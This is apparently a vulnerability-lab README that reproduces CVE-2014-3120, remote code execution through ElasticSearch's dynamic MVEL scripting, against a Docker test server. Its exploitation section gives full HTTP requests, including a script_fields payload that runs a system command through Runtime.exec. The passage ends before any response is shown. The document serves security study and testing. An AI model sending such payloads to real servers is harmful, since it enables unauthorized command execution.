Aaron
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83 lines
2.0 KiB
Markdown
83 lines
2.0 KiB
Markdown
# ElasticSearch Remote Code Execution (CVE-2014-3120)
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[中文版本(Chinese version)](README.zh-cn.md)
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ElasticSearch is a distributed, RESTful search and analytics engine.
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The default configuration in Elasticsearch before 1.2 enables dynamic scripting, which allows remote attackers to execute arbitrary MVEL expressions and Java code via the source parameter to `_search`.
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Here's an example of MVEL code that executes system commands:
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```java
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import java.io.*;
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new java.util.Scanner(Runtime.getRuntime().exec("id").getInputStream()).useDelimiter("\\A").next();
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```
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References:
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- <https://bou.ke/blog/elasticsearch-rce/>
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- <https://www.exploit-db.com/exploits/33370>
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## Vulnerability Reproduction
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Execute the following commands to start a vulnerable ElasticSearch server 1.1.1:
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```
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docker compose up -d
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```
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After the server starts, you can access the ElasticSearch API at `http://your-ip:9200`.
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## Exploitation
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The exploit requires at least one document in the index. First, create a document:
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```
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POST /website/blog/ HTTP/1.1
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Host: your-ip:9200
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Accept: */*
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Accept-Language: en
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User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
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Connection: close
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Content-Type: application/x-www-form-urlencoded
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Content-Length: 25
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{
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"name": "vulhub"
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}
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```
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Then, send a request containing the malicious MVEL script to execute arbitrary commands:
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```
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POST /_search?pretty HTTP/1.1
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Host: your-ip:9200
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Accept: */*
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Accept-Language: en
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User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
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Connection: close
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Content-Type: application/x-www-form-urlencoded
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Content-Length: 343
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{
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"size": 1,
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"query": {
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"filtered": {
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"query": {
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"match_all": {
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}
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}
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}
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},
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"script_fields": {
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"command": {
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"script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"id\").getInputStream()).useDelimiter(\"\\\\A\").next();"
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}
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}
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}
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```
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The command execution result will be returned in the response:
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